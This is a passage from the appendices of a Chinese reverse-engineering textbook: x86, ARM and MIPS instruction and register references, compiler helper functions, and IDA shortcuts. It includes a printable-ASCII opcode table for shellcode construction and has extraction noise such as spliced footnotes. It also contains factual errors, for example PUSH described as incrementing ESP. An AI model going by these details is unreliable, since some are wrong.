平台没有 NOP 专用的汇编指令,而 RISC 平台上 NOP 有专用的汇编指令。有关这个 指令的详细介绍,请参见本书的第 88 章。 编译器可能会使用 NOP 指令进行 16 字节边界对齐。此外,在手工修改程序时,人们也会使用 NOP 指令进行指令替换,用于屏蔽条件转移之类的汇编指令。 NOT:求反指令/逻辑“非”运算指令。 OR:逻辑“或”运算指令。 POP:出栈指令。它从 SS:[ESP]中取值,再执行 ESP=ESP+4(或 8)的操作。 PUSH:入栈指令。它先进行 ESP=ESP+4(或 8),再向地址 SS:[ESP]存储数据。 RET:子程序返回函数,相当于 POP tmp 或 JMP tmp。 实际上 RET 是汇编语言的宏。在 Windows 和*NIX 环境中,它会被解释为 RETN(“return near”);在 MS-DOS 的寻址方式里,它被解释为 RETF(参见本书第 94 章)。 RET 指令可以有操作数。在这种情况下,它等同于 POP tmp、ADD ESP op1 及 JMP tmp。在符合调用 约定 stdcall 的程序里,每个函数最后的 RET 指令通常都有相应的操作数。有关细节请参见本书的 64.2。 SAHF:标识传送指令。它把 AH 寄存器的值,复制到 CPU 到标识上。对应的数权关系如下表所示。 7 6 5 4 3 2 1 0 SF ZF AF PF CF SBB:借位减法运算指令。计算出操作数间的差值之后,如果 CF 标识位为 1,则将差值递减。SBB 指令常见于大型数据的减法运算。例如,在 32 位系统上计算 2 个 64 位数据的差值时,编译器通常组合使 用 SUB 和 SBB 指令: ; 计算两个 64 位数的差值;val1=val1-val2 ; .lo 代表低 32 位; .hi 代表高 32 位 SUB val1.lo, val2.lo SBB val1.hi, val2.hi ; 使用了前一个指令设置的 CF 标识位 本书第 24 章还有更详细的介绍。 SCASB/SCASW/SCASD/SCASQ(M):比较 8 位单字节数据(Byte)/16 位 Word 数据(Word)/32 位 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附录 A x86 921 双字型数据(Dword)/64 位四字型数据(Qword)的指令。它将 AX/EAX/RAX 寄存器里的值当作源操 作数,另一个操作数则取自 DI/EDI/RDI 寄存器。在比较结果之后再设置标识位,设置标识位的方式和 CMP 指令相同。 这些指令通常与 REPNE 指令前缀组合使用。在这种情况下,组合指令将把寄存器 AX/EAX/RAX 里存 储的值当作关键字,在缓冲区里进行搜索。此时,REPNE 里的 NE 就意味着:如果值不相等,则继续进行 比较(搜索)。 这种指令常常用于实现 strlen() 函数,以判明 ASCIIZ 型字符串的长度。例如: lea edi, string mov ecx, 0FFFFFFFFh ; 扫描 232−1 bytes, 即, 接近“无限” xor eax, eax ; 0 作终止符 repne scasb add edi, 0FFFFFFFFh ; 修正 ; 现在,EDI 寄存器的值指向里 ASCIIZ 字符串的最后一个字符 ; 接下来将计算字符串的长度 ; 目前 ECX = -1-strlen not ecx dec ecx ; 此后,ECX 的值是字符串的长度值 如果 AX/EAX/RAX 里存储的值不同,那么这个函数的功能就和标准 C 函数 memchr() 一致,即搜索特 定 byte。 SHL:逻辑左移指令。 SHR:逻辑右移指令。 指令常用于乘以/除以 2n 乘除运算。此外,它们还常见于字段处理的各种实践方法(请参见本书第 19 章)。 SHRD op1,op2,op3:双精度右移指令。把 op2 右移 op3 位,移位引起的空缺位由 op1 的相应位进 行补足。详细介绍,请参见本书第 24 章。 STOSB/STOSW/STOSD/STOSQ:8 位单字节数据(Byte)/16 位 Word 数据(Word)/32 位双字型数 据(Dword)/64 位四字型数据(Qword)的输出指令。它把 AX/EAX/RAX 的值当作源操作数,存储到 DI/EDI/RDI 为目的串地址指针所寻址的存储器单元中去。指针 DI 将根据 DF 的值进行自动调整。 在与 REP 前缀组合使用时,它将使用 CX/ECX/RCX 寄存器作循环计数器、进行多次循环;工作方式 与 C 语言到 memset() 函数相似。如果编译器能够在早期阶段确定区间大小,那么将通过 REP MOVSx 指令 实现 memset() 函数,从而减少代码碎片。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 922 逆向工程权威指南(下册) 例如,memset(EDI,0xAA,15)对应的汇编指令是: ;在 EDI 中存储 15 个 0xAA CLD ; set direction to "forward" MOV EAX, 0AAAAAAAAh MOV ECX, 3 REP STOSD ; write 12 bytes STOSW ; write 2 more bytes STOSB ; write remaining byte 在复制 15 字节的内容时,从寄存器读取的操作效率来看,上述代码的效率要高于 15 次数据读写(REP STOSB)的操作效率。 SUB:减法运算指令。常见的“SUB 寄存器,寄存器”指令可进行寄存器清零。 TEST:测试指令。在设置标识位方面,它和 AND 指令相同,但是它不存储逻辑与的运算结果。详细 介绍请参见本书的第 19 章。 XCHG:数据交换指令。 XOR op1,op2:逻辑异或运算指令。常见的“XOR reg,reg”用于寄存器清零。 XOR 指令普遍用于“翻转”特定比特位。无论以哪个操作符作为源数据,只要另外一个操作符(参照 数据)的指定位为 1,那么运算结果里的那一位数据都是源数据相应位的非值。 输入 A 输入 B 运 算 结 果 0 0 0 0 1 1 1 0 1 1 1 0 另外,如果参照数据的对应位为 0,那么运算结果里的那一位数据都是源数据相应位的原始值。这是 XOR 操作非常重要的特点,应当熟练掌握。 A.6.3 不常用的汇编指令 BSF:顺向位扫描指令。详情请参见本书 25.2 节。 BSR:逆向位扫描指令。 BSWAP:重新整理字节次序的指令。它以字节为单位逆序重新排列字节序,用于更改数据的字节序。 BTC:位测试并取反的指令。 BTR:位测试并清零的指令。 BTS:位测试并置位的指令。 BT:位测试指令。 CBW/CWD/CWDE/CDQ/CDQE:signed 型数据的类型转换指令:  CBW:把 AL 中的字节(byte)型数据转换为字(word)型数据,存储于 AX 寄存器。  CWD:把 AX 中的字(word)型数据转换为双字(Dword)型数据、存储于 DX-AX 寄存器对。  CWDE:把 AX 中的字(word)型数据转换为双字字(Dword)型数据,存储于 DAX 寄存器。  CDQ:把 EAX 中的双字(word)型数据转换为四字(Qword)型数据,存储于 EDX:EAX 寄存 器对。  CDQE(x64 指令):把 EAX 中对双字(Dword)型数据转换为四字(Qword)型数据,并存储于 RAX 寄存器。 上述五个指令均能正确处理 signed 型数据中对符号位、对高位进行正确的填补。详情请参见本书的 第 24 章第 5 节。 CLD 清除 DF 标识位。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附录 A x86 923 CLI(M):清除 IF 标识位。 CMC(M):变换 CF 标识位。 CMOVcc:条件赋值指令。如果满足相应的条件代码(cc),则进行赋值。有关条件代码 cc 的各种代表意, 请参见前文 A.6.2 对 Jcc 的详细说明。 CMPSB/CMPSW/CMPSD/CMPSQ(M):比较 8 位单字节数据(Byte)/16 位 Word 数据(Word)/32 位双字型数据(Dword)/64 位四字型数据(Qword)的指令。它将 SI/ESI/RSI 寄存器里的值当作源操作数 的地址,另一个操作数的地址则取自 DI/EDI/RDI 寄存器。在比较结果之后再设置标识位,设置标识位的方 式和 CMP 指令相同。 这些指令通常与指令前缀 REP 组合使用。在这种情况下,组合指令将 CX/ECX/RCX 寄存器的值当作 循环计数器进行多次循环比较,直至 ZF 标识位为零。也就是说,它也常用作字符比较(或搜索)。 它的工作方式和 C 语言的 memcmp() 函数相同。 以 Windows NT 内核(WindowsResearchKernel v1.2)为例,base\ntos\rtl\i386\movemem.asm 代码如下所示。 指令清单 A.3 base\ntos\rtl\i386\movemem.asm ; ULONG ; RtlCompareMemory ( ; IN PVOID Source1, ; IN PVOID Source2, ; IN ULONG Length ; ) ; ; Routine Description: ; ; This function compares two blocks of memory and returns the number ; of bytes that compared equal. ; ; Arguments: ; ; Source1 (esp+4) - Supplies a pointer to the first block of memory to ; compare. ; ; Source2 (esp+8) - Supplies a pointer to the second block of memory to ; compare. ; ; Length (esp+12) - Supplies the Length, in bytes, of the memory to be ; compared. ; ; Return Value: ; ; The number of bytes that compared equal is returned as the function ; value. If all bytes compared equal, then the length of the original ; block of memory is returned. ; ;-- RcmSource1 equ [esp+12] RcmSource2 equ [esp+16] RcmLength equ [esp+20] CODE_ALIGNMENT cPublicProc _RtlCompareMemory,3 cPublicFpo 3,0 push esi ; save registers push edi cld ; clear direction mov esi,RcmSource1 ; (esi) -> first block to compare mov edi,RcmSource2 ; (edi) -> second block to compare ; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 924 逆向工程权威指南(下册) ; Compare dwords, if any. ; rcm10: mov ecx,RcmLength ; (ecx) = length in bytes shr ecx,2 ; (ecx) = length in dwords jz rcm20 ; no dwords, try bytes repe cmpsd ; compare dwords jnz rcm40 ; mismatch, go find byte ; ; Compare residual bytes, if any. ; rcm20: mov ecx,RcmLength ; (ecx) = length in bytes and ecx,3 ; (ecx) = length mod 4 jz rcm30 ; 0 odd bytes, go do dwords repe cmpsb ; compare odd bytes jnz rcm50 ; mismatch, go report how far we got ; ; All bytes in the block match. ; rcm30: mov eax,RcmLength ; set number of matching bytes pop edi ; restore registers pop esi ; stdRET _RtlCompareMemory ; ; When we come to rcm40, esi (and edi) points to the dword after the ; one which caused the mismatch. Back up 1 dword and find the byte. ; Since we know the dword didn't match, we can assume one byte won't. ; rcm40: sub esi,4 ; back up sub edi,4 ; back up mov ecx,5 ; ensure that ecx doesn't count out repe cmpsb ; find mismatch byte ; ; When we come to rcm50, esi points to the byte after the one that ; did not match, which is TWO after the last byte that did match. ; rcm50: dec esi ; back up sub esi,RcmSource1 ; compute bytes that matched mov eax,esi ; pop edi ; restore registers pop esi ; stdRET _RtlCompareMemory stdENDP _RtlCompareMemory 当内存块的尺寸是 4 的倍数时,这个函数将使用 32 位字型数据的比较指令 CMPSD,否则使用逐字比 较指令 CMPSB。 CPUID:返回 CPU 信息的指令。详情请参见本书的 21.6.1 节。 DIV:无符号型数据的除法指令。 IDIV:有符号型数据的除法指令。 INT(M):INT x的功能相当于 16 位系统中的PUSHF;CALL dwordptr[x*4]。在MS-DOS中,INT指令普 遍用于系统调用(syscall)。它调用AX/BX/CX/DX/SI/DI寄存器里的中断参数,然后跳转到中断向量表 ① ① Interrupt Vector Table。它位于地址空间的开头部分,是实模式中断机制的重要组成部分,表中记录所有中断号对应的中断服 务程序的内存地址。 。因为 INT的opcode很短(2 字节),而且通过中断调用MS-DOS服务的应用程序不必去判断系统服务的入口地址,所以 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附录 A x86 925 INT指令曾盛行一时。中断处理程序通过使用IRET指令即可返回程序的控制流。 最常被调用的MS-DOS中断是第 0x21 号中断,它负责着大量的API接口。有关MS-DOS各中断的完整 列表,请参见Ralf Brown撰写的《The x86 Interrupt List》 ① MSVC编译器有INT3 对应的编译器内部函数—__debugbreak()。 。 在 MS-DOS 之后,早期的 Linux 和 Windows(参见本书第 66 章)系统仍然使用 INT 指令进行系统调 用。近些年来,它们逐渐使用 SYSENTER 或 SYSCALL 指令替代了 INT 指令。 INT 3(M):这条指令有别于其他的 INT 指令。它的 opcde 只有 1 个字节,即(0xCC),普遍用于程序 调试。一般来说,调试程序就是在需要进行调试的断点地址写上 0xCC(opcode 替换)。当被调试程序执 行 INT3 指令而导致异常时,调试器就会捕捉这个异常从而停在断点处,然后将断点处的指令恢复成原 来指令。 在 Windows NT 系统里,当 CPU 执行这条指令时,系统将会抛出 EXCEPTION_BREAKPOINT 异常。 如果运行了主机调试程序/ host debugger,那么这个调试事件将会被主机调试程序拦截并处理;否则,Windows 系统将会调用系统上注册了的某个调试器/system debugger 进行响应。如果安装了 MSVS(Microsoft Visual Studio),在执行 INT3 时,Windows 可能会启动 MSVS 的 debugger,继而调试这个进程。这种调试方法改 变了原程序的指令,容易被软件检测到。人们开发出了很多反调试技术,通过检查加载代码的完整性防止 他人进行逆向工程的研究。 ② Kernel32.dll里还有win32 的系统函数DebugBreak(),专门执行INT 3。 ③ This branch of cryptography is fast-paced and very politically charged. Most designs are secret; a majority of military encryptions systems in use today are based on LFSRs. In fact, most Cray computers (Cray 1, Cray X-MP, Cray Y-MP) have a rather curious instruction generally known as “population count.” It counts the 1 bits in a register and can be used both to efficiently calculate the Hamming distance between two binary words and to implement a vectorized version of a LFSR. I’ve heard this called the canonical NSA instruction, demanded by almost all computer contracts. IN(M):数据输入指令,用于从外设端口读取数据。这个指令常用于 OS 驱动程序和 MS-DOS 的应 用程序。详细介绍请参见本书的 78.3 节。 IRET:在 MS-DOS 环境中调用 INT 中断之后,IRET 指令负责返还中断处理程序(interrupt handler)。它 相当于 POP tmp;POPF;JMP tmp。 LOOP(M):递减计数器 CX/ECX/RCX,在计数器不为零的情况下进行跳转。 OUT(M):数据输出指令,用于向外设端口传输数据。这个指令常用于 OS 驱动程序和 MS-DOS 的 应用程序。详细介绍请参见本书的 78.3 节。 POPA(M):从数据栈中读取(恢复)(R|E)DI、(R|E)SI、(R|E)BP、(R|E)BX、(R|E)DX、(R|E) CX、(R|E)AX 寄存器的值。 POPCNT:它的名称是“population count”的缩写。该指令一般翻译为“位 1 计数”。既是说,它负责 统计有多少个“为 1 的位”。它的英文外号称为“hamming weight”和“NSA 指令”。这种外号来自于下述 轶闻(Bruce Schneier《Applied Cryptography:Protocols,Algorithms,and Source Code in C》1994.): 更多信息请参阅参考资料[Sch94]。 POPF:从数据栈中读取标识位,即恢复 EFLAGS 寄存器。 ① http://www.cs.cmu.edu/~ralf/files.html。 ② 编译器内部函数指 compiler intrinsic,本书有详细介绍。它属于编译器有关的内部函数,基本不会被常规库函数调用。编译 器为其生成特定的机械码,并非直接调用它的函数。内部函数常用于实现与特定 CPU 有关的伪函数。_debugbreak 的介绍请参 见 http://msdn.microsoft.com/en-us/library/f408b4et.aspx。 ③ 请参见 http://msdn.microsoft.com/en-us/library/windows/desktop/ms679297%28v=vs.85%29.aspx。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 926 逆向工程权威指南(下册) PUSHA(M):把(R|E)AX、(R|E)CX、(R|E)DX、(R|E)BX、(R|E)BP、(R|E)SI、(R|E)DI 寄存器的值,依次保存在数据栈里。 PUSHF:把标识位保存到数据栈里,即存储 EFLAGS 寄存器的值。 RCL(M):带进位的循环左移指令,通过 CF 标识位实现。 RCR(M):带进位的循环右移指令,通过 CF 标识位实现。 ROL/ROR(M):循环左/右移。 几乎所有的 CPU 都有这些循环位移指令。但是 C/C++语言里没有相应的操作指令,所以它们的编译器 不会生成这些指令。 为了便于编程人员使用这些指令,至少 MSVC 提供了相应的伪函数(complier intrinsics)_rotl() 和_rotr(), 可直接翻译这些指令。详情请参见:http://msdn.microsoft.com/en-us/library/5cc576c4.aspx。 SAL:算术左移指令,等同于逻辑左移 SHL 指令。 SAR:算术右移指令。 本指令通常用于对带符号数减半的运算中,因而在每次右移时,它保持最高位(符号位)不变,并把 最低位右移至 CF 中。 SETcc op:在条件表达式 cc 为真的情况下,将目标操作数设置为 1;否则设置目标操作数为 0。这里 的目标操作数指向一个字节寄存器(也就是8位寄存器)或内存中的一个字节。状态码后缀(cc)指代条 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附录 A x86 927 件表达式,可参见附录 A.6.2 的有关介绍。 STC(M):设置 CF 标识位的指令。 STD(M):设置 DF 标识位的指令。编译器不会生成这种指令,因此十分罕见。我们可以在 Windows 的内核文件 ntoskrnl.exe 中找到这条指令,也可以在手写的内存复制的汇编代码里看到它。 STI(M):设置 IF 标识位的指令。 SYSCALL:(AMD)系统调用指令(参见本书第 66 章)。 SYSENTER:(Intel)系统调用指令(参见本书第 66 章)。 UD2(M):未定义的指令,会产生异常信息,多用于软件测试。 A.6.4 FPU 指令 FPU 指令有很多带有“-R”或“-P”后缀的派生指令。带有 R 后缀的指令,其操作数的排列顺序与常 规指令相反。带有 P 后缀的指令,在运行计算功能后,会从栈里抛出一个数据;而带有 PP 后缀的指令则 最后抛出两个数据。P/PP 后缀的指令可在计算后释放栈里存储的计算因子。 FABS:计算 ST(0)绝对值的指令。ST(0)=fabs(ST(0))。 FADD op:单因子加法运算指令。ST(0)=op+ST(0)。 FADD ST(0),ST(i):加法运算指令。ST(0)=ST(0)+ST(i)。 FADDP ST(1):相当于 ST(1)=ST(0)+ST(1);pop。求和之后,再从数据栈里抛出 1 个因子。即,使 用计算求得的“和”替换计算因子。 FCHS:求负运算指令。ST(0)= −1xST(0) FCOM:比较 ST(0)和 ST(1)。 FCOM op:比较 ST(0)和 op。 FCOMP:比较 ST(0)和 ST(1);然后执行 1 次出栈操作。 FCOMPP:比较 ST(0)和 ST(1);然后执行 2 次出栈操作。 FDIVR op:ST(0)=op/ST(0)。 FDIVR ST(i),ST(j):ST(i)=ST(j)/ST(i)。 FDIVRP op:ST(0)=op/ST(0),然后执行 1 次出栈操作。 FDIVRPP ST(i),ST(j):ST(i)=ST(j)/ST(i),然后执行 2 次出栈操作。 FDIV op:ST(0)=ST(0)/op。 FDIV ST(i),ST(j):ST(i)=ST(i)/ST(j)。 FDIVP:ST(1)=ST(0)/ST(1),然后执行 1 次出栈操作。即,被除数替换为商。 FILD op:将整数转化为长精度数据,并存入 ST(0)的指令。 FIST op:将 st(0)以整数保存到 op。 FISTP op:将 st(0)以整数保存到 op,再从栈里抛出 ST(0)。 FLD1:把 1 推送入栈。 FLDCW op:从 16 位的操作数 op 里提取 FPU 控制字(参见附录 A.3)。 FLDZ:把 0 推送入栈。 FLD op:把 op 推送入栈。 FMUL op:ST(0)=ST(0)*op。 FMUL ST(i),ST(j):ST(i)=ST(i)*ST(j)。 FMULP op:ST(0)=ST(0)*op;然后执行 1 次出栈操作。 FMULP ST(i),ST(j):ST(i)=ST(i)*ST(j);然后执行 1 次出栈操作。 FSINCOS:一次计算 Sine 和 Cosine 结果的指令。 调用指令时,ST(0)存储着角度参数 tmp。ST(0)=sin(tmp);PUSH ST(0)(即 ST1 存储 Sin 值);之后 异步社区会员 dearfuture(15918834820) 专享 尊重版权 928 逆向工程权威指南(下册) 再计算 ST(0)=cos(tmp)。 FSQRT: (0) (0) ST ST = 。 FSTCW op:检查尚未处理的、未被屏蔽的浮点异常,再将 FPU 的控制字(参见附录 A.3)保存到 op。 FNSTCW op:将 FPU 的控制字(参见附录 A.3)直接保存到 op。 FSTSW op:检查尚未处理的、未被屏蔽的浮点异常,再将 FPU 的状态字(参见附录 A.3)保存到 op。 FNSTSW op:将状态字(参见附录 A.3)直接保存到 op。 FST op:保存实数 ST(0) 到 op。 FSTP op:将 ST(0) 复制给 op,然后执行 1 次出栈操作(ST(0))。 FSUBR op:ST(0)=op−ST(0)。 FSUBR ST(0),ST(i):ST(0)=ST(i)−ST(0)。 FSUBRP:ST(1)=ST(0)−ST(1),然后执行 1 次出栈操作。即被减数替换为差。 FSUB op:ST(0)=ST(0)−op。 FSUB ST(0),ST(i):ST(0)=ST(0)−ST(i)。 FUSBP ST(1):ST(1)=ST(1)−ST(0)。 FUCOM ST(i):比较 ST(0)和 ST(i)。 FUCOM:比较 ST(0)和 ST(1)。 FUCOMP:比较 ST(0)和 ST(1),然后执行 1 次出栈操作。 FUCOMPP:比较 ST(0)和 ST(1),然后从栈里抛出 2 个数据。 上述两个指令与 FCOM 的功能相似,但是它们在处理 QNaN 型数据时不会报错,仅在处理 SNaN 时进 行异常汇报。 FXCH ST(i):交换 ST(0)和 ST(i)的数据。 FXCH:交换 ST(0)和 ST(1)的数据。 A.6.5 可屏显的汇编指令(32 位) 在构建 Shellcode 时(参见本书第 82 章),可能会用到下面这个速查表。 ASCII 字符 16 进制码 x86 指令 0 30 XOR 1 31 XOR 2 32 XOR 3 33 XOR 4 34 XOR 5 35 XOR 7 37 AAA 8 38 CMP 9 39 CMP : 3A CMP ; 3B CMP < 3C CMP = 3D CMP ? 3F AAS @ 40 INC A 41 INC 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附录 A x86 929 续表 ASCII 字符 16 进制码 x86 指令 B 42 INC C 43 INC D 44 INC E 45 INC F 46 INC G 47 INC H 48 DEC I 49 DEC J 4A DEC K 4B DEC L 4C DEC M 4D DEC N 4E DEC O 4F DEC P 50 PUSH Q 51 PUSH R 52 PUSH S 53 PUSH T 54 PUSH U 55 PUSH V 56 PUSH W 57 PUSH X 58 POP Y 59 POP Z 5A POP [ 5B POP \ 5C POP ] 5D POP ^ 5E POP _ 5F POP ` 60 PUSHA a 61 POPA f 66 32 位运行模式下,把操作数切换为 16 位 g 67 32 位运行模式下,把操作数切换为 16 位 h 68 PUSH i 69 IMUL j 6a PUSH k 6b IMUL p 70 JO q 71 JNO r 72 JB s 73 JAE t 74 JE 异步社区会员 dearfuture(15918834820) 专享 尊重版权 930 逆向工程权威指南(下册) 续表 ASCII 字符 16 进制码 x86 指令 u 75 JNE v 76 JBE w 77 JA x 78 JS y 79 JNS z 7A JP 总之,存在对应 ASCII 字符的指令有 AAA、AAS、CMP、DEC、IMUL、INC、JA、JAE、JB、JBE、 JE、JNE、JNO、JNS、JO、JP、JS、POP、POPA、PUSH、PUSHA 和 XOR。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附 附录 录 BB AARRM M B.1 术语 初代 ARM 处理器就是 32 位 CPU。所以它的 word 型数据都是 32 位数据。这方面它和 x86 有所不同。 byte 8 位数据。声明 byte 型数组和变量的指令是 DB。 halfword 16 位数据。声明 halfword 型数组和变量的指令是 DCW。 word 32 位数据。声明 word 型数组和变量的指令是 DCD。 doubleword 64 位数据。 quadword 128 位数据。 B.2 版本差异  ARMv4:开始支持 Thumb 模式的指令。  ARMv6:用于第一代 iPhone、iPhone 3G(这些设备的处理器采用了 Samsung 32 位 RISC ARM 1176IZ(F)-S,支持 Thumb-2 指令)。  ARMv7:实现了 Thumb-2 指令(2003)。用于 iPhone 3GS、iPhone 4、iPad 1(ARM Crotex-A8)、 iPad 2(Cortex-A9)和 iPad 3。  ARMv7s:添加了新的指令。用于 iPhone 5、iPhone 5c 和 iPad 4(Apple A6)。  ARMv8:64 位 CPU,又叫作 ARM64、AArch64。用于 iPhone 5S、iPad Air(Apple A7)。64 位平 台不支持 Thumb 模式,只支持 ARM 模式的指令(4 字节指令)。 B.3 32 位 ARM(AArch32) B.3.1 通用寄存器  R0。函数的返回结果通常通过 R0 传递。  R1~R12。通用寄存器 GPRs。  R13。SP(Stack Pointer/栈指针)。  R14。LR(link register/链接寄存器)。  R15。PC(程序计数器)。 R0~R3 也被称为临时寄存器(scratch registers)。它们通常用于传递函数的参数;在函数结束时,也 不必恢复它们的初始状态。 B.3.2 程序状态寄存器/CPSR CPSR 的全称是 Current Program Status Register,其规格如下表所示。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 932 逆向工程权威指南(下册) 位 序 描 述 0~4 M-处理器模式控制位 5 T-Thumb 模式控制位 6 F-FIQ 禁止位 7 I-IRQ/中断禁止位 8 A-imprecise data abort disable 9 E-数据字节序状态位 10..15,25,26 IT-if–then 状态位 16..19 GE-greater-than-or-equal-to 20..23 DNM-Do Not Modify 24 J-Java state 27 Q-sticky overflow 表达式整体溢出(相对于各独立因子溢出)标识位 28 V-Overflow 溢出标识位 29 C-进位/借位/扩展位 30 Z-零标识位 31 N-负号位/小于标识位 B.3.3 VFP(浮点)和 NEON 寄存器 0~31 bits 32~64 65~96 97~127 Q0 128bits D064bits D1 S032bits S1 S2 S3 S 寄存器为 32 位寄存器,用于存储单精度数。 D 寄存器位 64 位寄存器,用于存储双精度数。 D 寄存器和 S 寄存器的存储地址相通。程序可以通过 S 寄存器的助记符访问 D 寄存器的数据。虽然这 种操作毫无实际意义,但是确实可行。 与之相似的是,NEON 的 Q 寄存器是 128 位寄存器,与其他浮点数寄存器共用 CPU 的物理存储空间。 VFP 里有 32 个 S 寄存器,即 S0~S31。VFP v2 里又新增了 16 个 D 寄存器,实际上这些 D 寄存器用 的还是 S0~S31 的存储空间。 再后来,VFPv3(NEON 或者叫作“Advanced SIMD”)再次添加了 16 个 D 寄存器,形成了 D0~D31。 这几个新增的寄存器,即 D16~D31 寄存器的存储空间,终于和 S 寄存器的存储空间相互独立。 NEON 或 Advanced SIMD 也有 16 个 128 位 Q 寄存器,它们使用的是 D 寄存器(D0~D31)的存储空间。 B.4 64 位 ARM(AArch64) 通用寄存器 64 位 ARM 的寄存器总数,是 32 位 ARM 的两倍之多。  X0。常用于传递函数运算结果。  X0~X7。传递函数参数。  X8。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附录 B ARM 933  X9~X15。临时寄存器,供被调用方函数使用,函数退出时无需恢复。  X16。  X17。  X18。  X19~X29。被调用方函数使用的寄存器,在函数退出时需要恢复原值。  X29。用作帧指针/FP(至少 GCC 把它当作 FP)。  X30。链接寄存器/LR(link register)。  X31。这个寄存器一直为 0,又称为 XZR、“零寄存器”。它的 32 位(word 型)部分还叫作 WZR。  SP,64 位系统有单独的栈指针寄存器,不再使用通用寄存器。 详细内容请参见官方的 ARM 资料《Procedure Call Standard for the ARM 64-bit Architecture(AArch64)》 (http://infocenter.arm.com/help/topic/com.arm.doc.ihi0055b/IHI0055B_aapcs64.pdf)。 程序还可通过其 W 寄存器这样的助记符访问 64 位 X 寄存器的低 32 位空间。W 寄存器和 X 寄存器的 对应关系如下表所示。 高 32 位部分 低 32 位部分 X0 W0 B.5 指令 ARM64 的部分指令存在对应的、带 S 后缀的指令。这个后缀代表着该指令会根据结果设置相应的标 识位,而不带 S 后缀的指令就不设置标识位。以 ADD 和 ADDS 指令为例,前者只进行数学运算而不会设 置标识位。这种功能划分,为 ARM 系统的预处理功能提供了可靠的保证,绝不会意外地影响到 CMP 指令 和其他条件转移需要的各标识位。 Conditional codes 速查表 代 码 描 述 标 识 位 EQ 相等 Z==1 NE 相异 Z==0 CS/HS Carry 置位/Unsigned,大于或等于 C==1 CC/LO Carry 为零/Unsigned,小于 C==0 MI Minus,负数/小于 N==1 PL Plus,正数或零/大于或等于 N==0 VS 溢出 V==1 VC 未溢出 V==0 HI Unsigned 大于 C==1 and Z==0 LS Unsigned 小于或等于 C==0 or Z==1 GE Signed 大于或等于 N==V LT Signed 小于 N !=V GT Signed 大于 Z==0 and N==V LE Signed 小于或等于 Z==1 or N !=V None/AL Always Any 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附 附录 录 CC M MIIPPSS C.1 寄存器 MIPS 遵循的调用约定是 O32。 C.1.1 通用寄存器 GPR 编 号 别 名 描 述 $0 $ZERO 总是为零。给这个寄存器赋值到操作相当于 NOP $1 $AT 汇编宏和伪指令使用到临时寄存器 $2~$3 $V0~$V1 用于传递函数返回值 $4~$7 $A0~$A3 用于传递函数的参数 $8~$15 $T0~$T7 可供临时数据使用 $16~$23 $S0~$S7 可供临时数据使用,被调用方函数必须保全 $24~$25 $T8~$T9 可供临时数据使用 $26~$27 $K0~$K1 OS Kernel 保留 $28 $GP 全局指针/Global Pointer,被调用方函数必须保全 PIC code 以外的值 $29 $SP 栈指针/Stack Pointer $30 $FP 帧指针/Frame Pointer $31 $RA 返回地址/Return Address n/a PC PC n/a HI 专门存储商或积的高 32 位,可通过 MFHI 访问 n/a LO 专门存储商或积的低 32 位,可通过 MFLO 访问 C.1.2 浮点寄存器 FPR 名 称 描 述 $F0~$F1 函数返回值 $F2~$F3 未被使用 $F4~$F11 用于临时数据 $F12~$F15 函数的前两个参数 $F16~$F19 用于临时数据 $F20~$F31 用于临时数据,被调用方函数必须保全 C.2 指令 MIPS 的指令分为以下 3 类:  R-Type,Register/寄存器类指令。此类指令操作 3 个寄存器,具有以下形式: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附录 C MIPS 935 指令目标寄存器,源寄存器 1,源寄存器 2 当前两个操作数相同时,IDA 可能会以以下形式进行显示: 指令目标寄存器/源寄存器 1,源寄存器 2 这种显示风格与 x86 汇编语言的 Intel 语体十分相似。  I-Type,Immediate/立即数类指令。涉及 2 个寄存器和 1 个立即数。  J-Type,Jump/转移指令。在 MIPS 转移指令的 opcode 里,共有 26 位空间可存储偏移量的信息。 转移指令 实现转移功能的指令可分为 B 开头的指令(BEQ,B 等)和 J 开头的指令(JAL,JALR 等)。这两种 跳转指令的区别在哪里? B-类转移指令属于 I-type 的指令。也就是说,B-指令的 opcode 里封装有 16 位立即数(偏移量)。而 J 和 JAL 属于 J-type 指令,它们的 opocde 里存有 26 位立即数。 简单地说,B 开头的转移指令可以把转移条件(cc)封装到 opcode 里(B 指令是“BEQ $ZERO, $ZERO, Label”的伪指令)。但是 J 开头的转移指令无法在 opcode 里封装转移条件表达式。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附 附录 录 DD 部 部分 分 G GCCCC 库 库函 函数 数 名 称 描 述 __divdi3 有符号型数据的除法运算 __moddi3 有符号型数据的求模运算(余数) __udivdi3 无符号型数据的除法运算 __umoddi3 无符号型数据的求模运算(余数) 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附 附录 录 EE 部 部分 分 M MSSVVCC 库 库函 函数 数 在 MSVC 的库函数里,那些名称里带有“LL”的函数都是操作“long long”型数据、即 64 位数据的 函数。 名 称 描 述 __alldiv 有符号数的除法运算 __allmul 乘法运算 __allrem 有符号数的求余运算 __allshl 左位移运算 __aulldiv 无符号数的除法运算 __aullrem 无符号数的求余运算 __aullshr 无符号数的右移运算 其中,乘法运算指令、左位移运算指令不区分有符号数和无符号数,所以此处的两条指令不再区分数 据类型。 安装 MSVS 之后,你可以在库文件里找到上述函数的源代码。确切的文件位置是 VC/crt/src/intel/*.asm。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 附 附录 录 FF 速 速 查 查 表 表 F.1 IDA 常用的 IDA 的快捷键如下表所示。 按 键 作 用 空格 切换显示方式 C 转换为代码 D 转换为数据 A 转换为字符 * 转换为数组 U 未定义 O 提取操作数的偏移量 H 把立即数转换为 10 进制数 R 把立即数转换为字符 B 把立即数转换为 2 进制数 Q 把立即数转换为 16 进制数 N 为标签重命名 ? 计算器 G 跳转到地址 : 添加注释 Ctrl-X 查看当前函数、标签、变量的参考(显示栈) X 查看当前函数、标签、变量的参考 Alt-I 搜索常量 constant Ctrl-I 再次搜索常量 Alt-B 搜索 byte 序列 Ctrl-B 再次搜索 byte 序列 Alt-T 